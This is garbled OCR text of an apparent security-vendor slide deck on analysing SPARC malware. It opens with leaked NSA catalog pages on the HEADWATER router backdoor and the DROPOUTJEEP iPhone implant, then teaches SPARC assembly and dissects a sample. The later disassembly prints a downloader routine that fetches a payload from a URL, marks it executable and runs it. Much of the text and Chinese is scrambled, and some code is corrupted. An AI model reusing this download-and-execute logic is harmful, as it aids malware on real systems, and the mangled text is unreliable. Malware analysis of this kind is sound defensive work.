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=  HEADWATER

ANTIY

TOP SECRETHCOMINT/REL TO USA, FVEY

(TSHSIIREL) HEADWATER is a Persistent Backdoor (PBD) software implant for = =

selected Huawei routers. The implant will enable covert functions to be remotely
executed within the router via an Internet connection.

Control, and Data using
DONT Implant Communications Protocal (fypical)

Typical Target
Firewall or Router

MPU | CPU

L(

Implant Concept of Operations

(TS//S1//REL) HEADWATER PBD implant will be transferred remotely over
the Internet to the selected target router by Remote Operations Center
(ROC) personnel. After the transfer process is complete, the PBD will be
installed in the router’s boot ROM via an upgrade command. The PBD will
then be activated after a system reboot. Once activated, the ROC
operators will be able to use DNT's HAMMERMILL Insertion Tool (HIT) to
control the PBD as it captures and examines all IP packets passing through
the host router,

(TS//SI//REL) HEADWATER is the cover term for the PBD for Huawei
Technologies routers. PBD has been adopted for use in the joint NSA/CIA
effort to exploit Huawei network equipment. (The cover name for this joint
project is TURBOPANDA. )

Status: (U/FOUO) On the shelf ready for deployment.

poc: IS =222 I W

HEADWATER
ANT Product Data

06/24/08

Derived From: NSAICSSM 1.52
Dated: 20070108
Declassity On: 20320108

TOP SECRET/ICOMINTI/REL TO USA, FVEY

DROPOUTIJEEP

TOP SECRET//COMINT//REL TO USA, FVEY

(TSHSIWREL) DROPQUTJEEP is a STRAITBIZARRE based software implant for
the Apple iPhone operating system and uses the CHIMNEYPOOL framework.
DROPOUTJEER is compliant with the FREEFLOW project, therefore it is supported
in the TURBULENCE architecture,

W Encrypt and send
operator exfil data
Load specified Retrieves
module requested
SIGINT data
Send data request iPhone accepts
request

(WIFOUD) DROPOUTIEEP - Operational Schematic

{TSHSI/REL) DROPOUTJEEP is a software implant for the Apple iPhone that
utilizes modular mission applications to provide specific SIGINT functionality. This
functionality includes the ability to remotely push/pull files from the device, SMS
retrieval, contact list retrieval, voicemail, geolocation, hot mic, camera capture, cell
tower location, etc. Command, control, and data exfiltration can occur over SMS
messaging or a GPRS data connection. All communications with the implant will be
covert and encrypted.

(TSHSIWREL) The initial release of DROPOUTJEEP will focus on installing the
implant via close access methods. A remote ir ion capability will be pursued
for a future release.

Unit Cost: §0
Status: (U) In development

poc: urFouo [, sz222:. [

TOP SECRETHCOMINT/REL TO USA, FVEY

DROPOUTJEEP

ANT Product Data

10/01/08

Dedived From: NSAICSSM 1-52
Dated: 20070108
Declassity On: 20320108



Malwares
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Malware! Othfer

It refers to the related malware threats and
vulnerahilities that have appeared one after
another in wvarious non-generic operation
systerns, industrial control systems, network
devices, other hardware infrastructure and
wearable devices,

HETE S AR IRE RS, T
W R G P
SERREPE MG 7T 5
L BB R
17 o

HELLT



SPARCig7t

o 1+ Z ZSPARC

HELLT



EARPE | 1% T

, | PRSEBE, W, AR, BERE | MEeT. A6 BUuE| T GRS |
e . Lok it A ) . 5
Intel || AMD H|cyrir %2 BM. BEEL MIPS F&, Acorn, VLSI, Technology | Sun Oracle
1 i T | I |
86| ity ‘PowerPC. MIPS | ARM |SPARC|
) : SRt - e I
M SRS

| ]
SLEERE

HELLT



SPARCig 7T

ANTIY

SPARC, “AI¥ FEALIEESZ4249” (Scalable Processor
ARChitecture) , =RISCIHALIREI Mz —, BEESMEE. Al
MM EMFL S
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1987
Sun ships first 2000 2004
5;1;%{: 1992 SPARC STAR UltraSPARC IV AT
workstation Sun ships server ships gust 7,
1989 SuperSPARG First dual core i
SPARC First multi-scalar 2002 UltraSPARC
1984 International RISC chip with SPARCblade and 2005 T2
SPARC founded erF' C?QF’EP”'E’I GENIALstation laptop | Sun open sources
Deveboerriil Open Insirucion i 1997 _released, SPARC chip design 2" half of
b EQE:'IS Set Architecture (ISA) UltraSPARC Il SPARCE4 V and launches 2008
— SPARCstation 1 ships processor OpenSPARC ROCK
introduced released community

SPARC V8 SPARC V9

1985 1995 2000 2003 2005 Future
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1986 SPARCserver G00MP 1995 | Pryosssor UltraSPARC 1l 4 patf of 2008
Sun creales ships— SPARC LT released]  UllraSPARC | 2001 et | First 8-core VICTORIA
First SPARC FG SPARC-based laptop) ships UltraSPARC Il | CMT system FALLS
i p%f?ffssfm'- First 64-bit core " ships, 2007
SPARC Version 4999 1993 ICrOpToCessor 2005 .
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. Drag and Drop
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Double-click Timeout

W rower Management

Timeout Short me—— 00
Preferred Applications

a Screensaver To test your double-chick
7 settings, try to double-click on
& Sound the iight butb.
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7= Windows

Halp Closa

+ OS Type: Linux
Based on: Independent

Origin: Glebal

Architecture: grmel, armbf, (386, 364, mips. mipsel. powerpe, 390, s390x
Desktop: AfterStep, Awesome. Blackbox. Fluxbox. GNOME. |ceWM. KDE.
Category: Desktop, Live Medium, Server

Status: Active

dEbian « Popularity: 3 (1,533 hits per day)

x86_64
" Openbox, WMaker, Xfce
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*FILE

« EXIFTOOL

 |DA

root@ubuntu: /home/cert# file sample

sample: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), dynamically linked (

uses shared 1libs), stripped

ExifTool Version Number
File Mame
?77a727d4ba?48764f
Directory
Size
Modification Date/Time
Access DatesTime
Creation DatersTime
Permissions

Type

Type
CPU Architecture
CPU Byte Order
Object File Type
CPU Type

Load file I 'workiinaly=iz\ [

.39
2aa9891785977hi

819 kB

2015:01:18 15:82:30+88 80
2015:01:18 15:81:47+08:80
2015:81:18 15:81:47+08:80
g R S

ELF executable
applicationsoctet—stream
32 hit

Big endian

Executable file

SPARC

I ELF for SPARC (Executable) [elf._ldw:_I
Binary file
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SPARCHVIE A HFa5 A [E] TX86, TER—RIZIE3I2/FF8F r0-r31

HINETFEEE B — & %0~ %i 7, RI30] ;a
Z[EF %r24 ~ %r31

RI27] s e

BREFRR B8 —(XAEHAT L

{—4
A7 A 0 P— 0 0 RI21] B
BRA%I0~%7, FETF %16 ~ %r23 G— e D o
i 3
R[1E] [
N _ " w—m?_
M 175 (8 —REHR[EE l w3 Ef y
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« UETHOR/RY i0 ~ i7FLE
— & O/ o0 ~ o7 XA
TFE—RYIEHFRE;
AN

« HETE 00 ~ o7{EAS
BENTEEHOIO ~ 7
SR FE—HYIEF 75

e FFEE O/ local ZF1FE%
I EESEOR <o

e global NEf]

/

Window (CWP =1)

R[31)

D s
Rl24]
R[23]
; locak
RI1E] Window (ICYWE)
R[15] RI21]
g outs : ins
R 8 RI24)
RI23]
; locals
L5l Window (CWP 5 1)
R[15] RI21)
: outs ins
RI 8 RI24]
e
. locals
RI18]
——————————-“~—_______—-—___-—Rﬂﬂ
| - ous
Rl 8]

; globals
R 1]
R[ O] 0
&3 0
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CWp
(current window) y
=S o
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w1 outs
l‘t w0 locals| WO ours’_‘
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CWP+1
——

wil ins

w1 locals

“6 locals
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e

WS ins
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w3 locals
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e N T XHEHEOREIE, SPARC{ER CWP (Current Window Pointer)
EEHEANED.

zave =p, -0xTE2, I=p
mow 0, Eod
Mo 0, Ho5
zethi Fhi, %17
call sub
set loc, %17
Laiii|n] i, 1
ble end
std o4, [%#fp+var 18]
Y
ob
5
o4
a3 | —
o2
ol
ol

end

ret

restore

=

=
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sub 123454

cmp %o0, 0

be end
sub 45678:

[id

[%00], %g1

sethi
andn
mov
mov
mov

%hi(0x8000000), %03

%gl, %03, %03
5, %gl
0, %04
0, %05

ol

o6

05

o4

03

02

ol

ol

sub_ 123454
retl
add %07, %I7, %I7

o7

ob

05

o4

outs —)

o3

outs

[i¥]

ol

ol




N
/
;néé]l_:

oW
add
oW
mow
call
or

=ave
mow
mow
Mo
i Lo et
o
call

S5 )o00-05, FeREERI0-i51%%,

£12, %ol
xfp, var, i3
id, %al

%£il, %o2
sub_&EETB

HELLT



£  iEiEs

1R [El{E

FEREMBNIO 15, NeKA#o0 o5IE %,

;FL~; %gz mowv

[

ret
restore
call
/\w*& o
N % CIE
bne

3, %i0

call
Mo
ba,a
ret
rest

sub 56789

i0
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& GRS Delay slots

ANTIY

o 3L IR (Branch delay slot), BEMIRFENT 555
SEEIH—&IES, ”“i&ﬂ%ﬁquWMﬁ,ﬁﬂu
T ZEREPRIES KT ZIESHIT

« N ESPARCIR A HY

o FEEIRFERYZEH: MIPS. PA-RISC, ETRAX CRIS. SuperH. SPARCZ:
e NEHEEIRFERIZEHY: X86. PowerPC. ARM, DEC Alpha
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#EIRfE Delay slots

}§S 1 mov 2i0, %00
2  mow Fil, %ol
call
4 call strncpy
3 |mov x10, %02
inc %10
st 310, [%il]
return -
restore Fgl, 1, 3ol
CIp F00, C
be end
. WMo £i2, %ol
J Ump call sub 2ob73
nop
rend

call sub 12345
o %10, % o0 m



iB#E Delay slots

nop CHp F00, C
bne end
nogp
call sub 12345
aii118] Tol; C
be.,a end

y d
=t 310, %i0 <
end
ret
restore

HELLT
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#EIRfE Delay slots

1000 cmp %lI1, %I0
1004 bge,a 1010
h 7
/
S
1010 St } .1.{‘1{]8 mov 1, %00
1014 restore 100C inc %11

HELLT
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call: YFEBMUIE o7

e 100010000 sethi  %hi(loc_10000), %I7
AR :00010004 eall sub_12345
0001008 set  loc 11111, %I7

\_\I

F25

ToT, FLT, 1T

10004+11111 = 21115

HELLT
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etst reg = orcc %g0,

‘neg reg =
not reg =
ebtst bits,
°bset bits,
ebelr bits,
btog bits,

Z  BSreCHiss

sub %gO0, reg,

Xnor
reg
reg
reg

reg

rs, %g0

reg

reg, %g0, reg

andcc reg, bits, %g0

or reg,

bits,

reg

andn reg, bits, reg

Xor reg,

bits,

reg
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sparc assembly code

main: save %sp, -1/0, %sp

set a, %l0
mov  %g0, [%lI0]
set b, %1
mov 1, [%I1]

Id [%I1], %ol
call sub

Id [%I0], %00
set %00, [%I0]

ret
restore

sub:
save, %sp, -1.20, %sp

add  %i0, %il, %l0
add %l0,,1,%i0

ret
restore

[FERE ‘

/NEEESEHR{ELSa

J/EEDREES A0 , return/SatE28T—& 100

int main(void){
a=0
b=z1

a = sub(a,b)

int sub(int x, int y){

return( x + y +1)

HELLT



<test_if>: int test_if(int )

label 1

emp %00, 0 {
bg.a label 1 .
int i;
sll %00, 3, %gl ---> {UTFIERE , o0 {EEIA gl
if(s > 0)
be ,a label 1
j =%
mov %00, %gl ‘ ;
heg %00, %g2 ---> o0 B else if(s < 0)
sll %g2, 2, %gl ---> o0 BIEARE ° i , EXNT ¢*2 S
sub %qg1l, %00, %gl
else
mov %g2, %gl ---> /VF 0 Ml g2 A gl
| =5
retl --->
add %g1, 0, %00 ---> JERHE | AASisiT return i;

HELLT



<test cyc>:

cmp %00, 0
ble, label 1
clr %g2
add %g2, %00, %g?2
label 2:add %00, -1, %g1l
add %gl, 0, %00
emp %00, 0
bg,a label 2
label 1:add %g2, %00, %g2
retl

add %g2, 0, %00

int test_cyc(int a)

int sum = 0;
for(e=a:c > 0; c--)
sum +=C;

return sum ;

HELLT



decode:

%I1, %I0 0= K=

| . %32

) w4
P

1+1 *25

save %sp, -Ux/0, %sp
call strlen
mov  %i0, %00
mov %00, %I0
call malloc
inc %00
mov 0, %l1
A Start:emp
bge,a end
crb  [%00+%Il1]
Idsb  [%i0+%I1], %01
sll %01, 2, %gl 1*4
sub  %gl, %ol, %gl
sll  %qgl, 3, %gl 1*8
add %gl, %o1, %gl
stb  %gl, [%00+%l1]
L ba start
inc  %l1

end:
ret
restore %g0, %00, %00

HELLT



sethi  Shi(0x1000), %17

10001000 call sub 17
0010 et DE12345 ;3217
""" zet JRZ200, Tgl
100010 call decode
1d [#174+%gl] , %ol
0 p— =
retl
add $07, %17, %17

%17 = 0x12345 + 0x10001000
0x10013345 + 0x200

0x10013345
0x10013545

HELLT
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url: http://www. baidu. com/setup. exe

filepath: /sbin/sample

mow $11, %ol http: f/www.baidu.com/setup.exe
call sub test
Mo £12, %ol febin/zample
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sub_tesd
save E¥8p, -0xT0, F=sp
sethi Thi{0x1000% , %17
call sub 17
set Ix12345, %17
et Jx200, Fgl sub download:
oW 3i0, Fo0 zave %3p, -0x70, %sp
call fopen mov -, %03
1d [317+%g1l], %ol m (300 o2
i mov %il, %ol
T tol, - call  URLDownloadToFile Zffid. url. file. REFER
ke label del mov %g0, %al
MOy $i0, %o0 oV %00, %10
t
label down: call sub download o
— restore
14 [#il], %ol
il Lo g F00, 310
ret
restore
label del call remove
O o0, C
be label down

e ELELT
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sub_readfile:

zave f=sp, -O0xi00, %s8D

set 0x10, gl

mow %id, %ol

call fopen

1d [#174+%gl], %ol

cmp Fald, C

be end

mow 0, %10

Mo I, %ol

mow 0xi00, %o

mow F0l0, Fo3

call _fread

mow %310, %ol

down: call sub sparc down

mow %00,%11 - =
start: /Pcall strtok Ez: :izf :;2

zet asc , %ol '

call strcoll mow 3ol, %14

set asc, %ol 1d [#13], %ol

CHp 200, O call sub download

ke down 1d [514], %ol

mow 300, %12

mow 0, %o

call strtok

et asc_, %ol

Jmp, & start #%ﬁ?

mow 311, %ol
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sub sparc dowmn:

save

oW
call
et

Jje,a
oW
biileaty
call
sat

je.a
DOV
biiTe )iy
call
szet
o
je.,a
oW
oW
ret
restore

Isp, —-0Ox10OC
%£i0, %ol
strtok
asc , 3ol
200, O
end

0, %10

Oy %00
strtok
asc , ol
500, O
end

0, %i0
%200, %10
strtok
asc , %ol
200, O
end

200, %il
210, %i0

i=sp

download list. txt

P& | TE | iR

ARM|123. * % 1/arm|use\coresrv

x86]123. *. *_1/pe|windows\svchost. exe

SAPRC| 123

. %, % 1/SPARC|sbin\rboot

HELLT



sub execute:

Save T3, —Ox7
O 11, Fol
call fTopen

i1 [e Rt %i0, %ol
cmp T00,

be end

| mow 0, %Fi0 |
O 77, F0l
call chmod
O 10, %ol
iilepts Fil, %ol
call execle
[mowr 3i0, %o00]
oW 1, %10
ret

restore
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